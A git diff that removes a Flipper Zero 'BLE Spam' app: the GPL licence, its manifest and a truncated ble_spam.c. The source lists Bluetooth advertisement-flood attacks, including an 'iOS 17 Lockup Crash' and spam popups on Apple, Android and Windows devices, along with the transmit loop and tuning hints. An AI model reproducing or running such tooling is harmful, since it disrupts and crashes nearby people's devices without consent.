diff --git a/applications/external/ble_spam/LICENSE b/applications/external/ble_spam/LICENSE
deleted file mode 100644
index f288702d2..000000000
--- a/applications/external/ble_spam/LICENSE
+++ /dev/null
@@ -1,674 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
- The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works. By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users. We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors. You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
- To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights. Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received. You must make sure that they, too, receive
-or can get the source code. And you must show them these terms so they
-know their rights.
-
- Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
- For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software. For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
- Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so. This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software. The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products. If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
- Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary. To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- TERMS AND CONDITIONS
-
- 0. Definitions.
-
- "This License" refers to version 3 of the GNU General Public License.
-
- "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
- "The Program" refers to any copyrightable work licensed under this
-License. Each licensee is addressed as "you". "Licensees" and
-"recipients" may be individuals or organizations.
-
- To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy. The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
- A "covered work" means either the unmodified Program or a work based
-on the Program.
-
- To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy. Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
- To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
- An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License. If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
- 1. Source Code.
-
- The "source code" for a work means the preferred form of the work
-for making modifications to it. "Object code" means any non-source
-form of a work.
-
- A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
- The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form. A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
- The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities. However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
- The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
- The Corresponding Source for a work in source code form is that
-same work.
-
- 2. Basic Permissions.
-
- All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met. This License explicitly affirms your unlimited
-permission to run the unmodified Program. The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work. This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
- You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force. You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright. Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
- Conveying under any other circumstances is permitted solely under
-the conditions stated below. Sublicensing is not allowed; section 10
-makes it unnecessary.
-
- 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
- No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
- When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
- 4. Conveying Verbatim Copies.
-
- You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
- You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
- 5. Conveying Modified Source Versions.
-
- You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
- a) The work must carry prominent notices stating that you modified
- it, and giving a relevant date.
-
- b) The work must carry prominent notices stating that it is
- released under this License and any conditions added under section
- 7. This requirement modifies the requirement in section 4 to
- "keep intact all notices".
-
- c) You must license the entire work, as a whole, under this
- License to anyone who comes into possession of a copy. This
- License will therefore apply, along with any applicable section 7
- additional terms, to the whole of the work, and all its parts,
- regardless of how they are packaged. This License gives no
- permission to license the work in any other way, but it does not
- invalidate such permission if you have separately received it.
-
- d) If the work has interactive user interfaces, each must display
- Appropriate Legal Notices; however, if the Program has interactive
- interfaces that do not display Appropriate Legal Notices, your
- work need not make them do so.
-
- A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
- 6. Conveying Non-Source Forms.
-
- You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
- a) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by the
- Corresponding Source fixed on a durable physical medium
- customarily used for software interchange.
-
- b) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by a
- written offer, valid for at least three years and valid for as
- long as you offer spare parts or customer support for that product
- model, to give anyone who possesses the object code either (1) a
- copy of the Corresponding Source for all the software in the
- product that is covered by this License, on a durable physical
- medium customarily used for software interchange, for a price no
- more than your reasonable cost of physically performing this
- conveying of source, or (2) access to copy the
- Corresponding Source from a network server at no charge.
-
- c) Convey individual copies of the object code with a copy of the
- written offer to provide the Corresponding Source. This
- alternative is allowed only occasionally and noncommercially, and
- only if you received the object code with such an offer, in accord
- with subsection 6b.
-
- d) Convey the object code by offering access from a designated
- place (gratis or for a charge), and offer equivalent access to the
- Corresponding Source in the same way through the same place at no
- further charge. You need not require recipients to copy the
- Corresponding Source along with the object code. If the place to
- copy the object code is a network server, the Corresponding Source
- may be on a different server (operated by you or a third party)
- that supports equivalent copying facilities, provided you maintain
- clear directions next to the object code saying where to find the
- Corresponding Source. Regardless of what server hosts the
- Corresponding Source, you remain obligated to ensure that it is
- available for as long as needed to satisfy these requirements.
-
- e) Convey the object code using peer-to-peer transmission, provided
- you inform other peers where the object code and Corresponding
- Source of the work are being offered to the general public at no
- charge under subsection 6d.
-
- A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
- A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling. In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage. For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product. A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
- "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source. The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
- If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information. But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
- The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed. Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
- Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
- 7. Additional Terms.
-
- "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law. If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
- When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it. (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.) You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
- Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
- a) Disclaiming warranty or limiting liability differently from the
- terms of sections 15 and 16 of this License; or
-
- b) Requiring preservation of specified reasonable legal notices or
- author attributions in that material or in the Appropriate Legal
- Notices displayed by works containing it; or
-
- c) Prohibiting misrepresentation of the origin of that material, or
- requiring that modified versions of such material be marked in
- reasonable ways as different from the original version; or
-
- d) Limiting the use for publicity purposes of names of licensors or
- authors of the material; or
-
- e) Declining to grant rights under trademark law for use of some
- trade names, trademarks, or service marks; or
-
- f) Requiring indemnification of licensors and authors of that
- material by anyone who conveys the material (or modified versions of
- it) with contractual assumptions of liability to the recipient, for
- any liability that these contractual assumptions directly impose on
- those licensors and authors.
-
- All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10. If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term. If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
- If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
- Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
- 8. Termination.
-
- You may not propagate or modify a covered work except as expressly
-provided under this License. Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
- However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
- Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
- Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License. If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
- 9. Acceptance Not Required for Having Copies.
-
- You are not required to accept this License in order to receive or
-run a copy of the Program. Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance. However,
-nothing other than this License grants you permission to propagate or
-modify any covered work. These actions infringe copyright if you do
-not accept this License. Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
- 10. Automatic Licensing of Downstream Recipients.
-
- Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License. You are not responsible
-for enforcing compliance by third parties with this License.
-
- An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations. If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
- You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License. For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
- 11. Patents.
-
- A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The
-work thus licensed is called the contributor's "contributor version".
-
- A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version. For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
- Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
- In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement). To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
- If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients. "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
- If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
- A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License. You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
- Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
- 12. No Surrender of Others' Freedom.
-
- If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all. For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
- 13. Use with the GNU Affero General Public License.
-
- Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work. The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
- 14. Revised Versions of this License.
-
- The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
- Each version is given a distinguishing version number. If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation. If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
- If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
- Later license versions may give you additional or different
-permissions. However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
- 15. Disclaimer of Warranty.
-
- THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
- 16. Limitation of Liability.
-
- IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
- 17. Interpretation of Sections 15 and 16.
-
- If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
- If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
- You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-.
-
- The GNU General Public License does not permit incorporating your program
-into proprietary programs. If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library. If this is what you want to do, use the GNU Lesser General
-Public License instead of this License. But first, please read
-.
diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam
deleted file mode 100644
index d66dbeb14..000000000
--- a/applications/external/ble_spam/application.fam
+++ /dev/null
@@ -1,15 +0,0 @@
-App(
- appid="ble_spam",
- name="BLE Spam",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="ble_spam",
- stack_size=4 * 1024,
- fap_icon="ble_spam_10px.png",
- fap_category="Bluetooth",
- fap_author="@Willy-JL @ECTO-1A @Spooks4576",
- fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
- fap_version="2.0",
- fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
- fap_icon_assets="icons",
- fap_icon_assets_symbol="ble_spam",
-)
diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c
deleted file mode 100644
index 605fc1372..000000000
--- a/applications/external/ble_spam/ble_spam.c
+++ /dev/null
@@ -1,390 +0,0 @@
-#include
-#include
-#include
-
-#include "protocols/_registry.h"
-
-// Hacked together by @Willy-JL
-// Custom adv API by @Willy-JL (idea by @xMasterX)
-// iOS 17 Crash by @ECTO-1A
-// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
-// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
-// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
-
-typedef struct {
- bool random_mac;
- const BleSpamProtocol* protocol;
- BleSpamMsg msg;
-} Payload;
-
-typedef struct {
- const char* title;
- const char* text;
- Payload payload;
-} Attack;
-
-static Attack attacks[] = {
- {
- .title = "+ Kitchen Sink",
- .text = "Flood all attacks at once",
- .payload =
- {
- .random_mac = true,
- .protocol = NULL,
- .msg = {},
- },
- },
- {
- .title = "iOS 17 Lockup Crash",
- .text = "Newer iPhones, long range",
- .payload =
- {
- .random_mac = false,
- .protocol = &ble_spam_protocol_continuity,
- .msg =
- {
- .continuity =
- {
- .type = ContinuityTypeCustomCrash,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Apple Action Modal",
- .text = "Lock cooldown, long range",
- .payload =
- {
- .random_mac = false,
- .protocol = &ble_spam_protocol_continuity,
- .msg =
- {
- .continuity =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Apple Device Popup",
- .text = "No cooldown, close range",
- .payload =
- {
- .random_mac = false,
- .protocol = &ble_spam_protocol_continuity,
- .msg =
- {
- .continuity =
- {
- .type = ContinuityTypeProximityPair,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Android Device Pair",
- .text = "~15min cooldown, long range",
- .payload =
- {
- .random_mac = true,
- .protocol = &ble_spam_protocol_fastpair,
- .msg =
- {
- .fastpair = {},
- },
- },
- },
- {
- .title = "Windows Device Found",
- .text = "Requires enabling SwiftPair",
- .payload =
- {
- .random_mac = true,
- .protocol = &ble_spam_protocol_swiftpair,
- .msg =
- {
- .swiftpair = {},
- },
- },
- },
-};
-
-#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
-
-uint16_t delays[] = {20, 50, 100, 200};
-
-typedef struct {
- bool resume;
- bool advertising;
- uint8_t delay;
- FuriThread* thread;
- int8_t index;
-} State;
-
-static int32_t adv_thread(void* ctx) {
- State* state = ctx;
- uint8_t size;
- uint16_t delay;
- uint8_t* packet;
- uint8_t mac[GAP_MAC_ADDR_SIZE];
- Payload* payload = &attacks[state->index].payload;
- if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
-
- while(state->advertising) {
- if(payload->protocol) {
- payload->protocol->make_packet(&size, &packet, &payload->msg);
- } else {
- ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
- &size, &packet, NULL);
- }
- furi_hal_bt_custom_adv_set(packet, size);
- free(packet);
-
- if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
- delay = delays[state->delay];
- furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
- furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
- furi_hal_bt_custom_adv_stop();
- }
-
- return 0;
-}
-
-static void toggle_adv(State* state) {
- if(state->advertising) {
- state->advertising = false;
- furi_thread_flags_set(furi_thread_get_id(state->thread), true);
- furi_thread_join(state->thread);
- if(state->resume) furi_hal_bt_start_advertising();
- } else {
- state->resume = furi_hal_bt_is_active();
- furi_hal_bt_stop_advertising();
- state->advertising = true;
- furi_thread_start(state->thread);
- }
-}
-
-#define PAGE_MIN (-3)
-#define PAGE_MAX ATTACK_COUNT
-enum {
- PageHelpApps = PAGE_MIN,
- PageHelpDelay,
- PageHelpDistance,
- PageStart = 0,
- PageEnd = ATTACK_COUNT - 1,
- PageAboutCredits = PAGE_MAX,
-};
-
-static void draw_callback(Canvas* canvas, void* ctx) {
- State* state = ctx;
- const char* back = "Back";
- const char* next = "Next";
- switch(state->index) {
- case PageStart - 1:
- next = "Spam";
- break;
- case PageStart:
- back = "Help";
- break;
- case PageEnd:
- next = "About";
- break;
- case PageEnd + 1:
- back = "Spam";
- break;
- }
-
- const Attack* attack =
- (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
- const Payload* payload = &attack->payload;
- const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
-
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
- canvas_draw_str(canvas, 14, 12, "BLE Spam");
-
- switch(state->index) {
- case PageHelpApps:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Some Apps\e# interfere\n"
- "with the attacks, stay on\n"
- "homescreen for best results",
- false);
- break;
- case PageHelpDelay:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Delay\e# is time between\n"
- "attack attempts (top right),\n"
- "keep 20ms for best results",
- false);
- break;
- case PageHelpDistance:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Distance\e# is limited, attacks\n"
- "work under 1 meter but a\n"
- "few are marked 'long range'",
- false);
- break;
- case PageAboutCredits:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
- elements_text_box(
- canvas,
- 4,
- 16,
- 122,
- 48,
- AlignLeft,
- AlignTop,
- "App+Spam: \e#WillyJL\e# XFW\n"
- "Apple+Crash: \e#ECTO-1A\e#\n"
- "Android+Win: \e#Spooks4576\e#\n"
- " Version \e#2.0\e#",
- false);
- break;
- default: {
- if(!attack) break;
- char str[32];
-
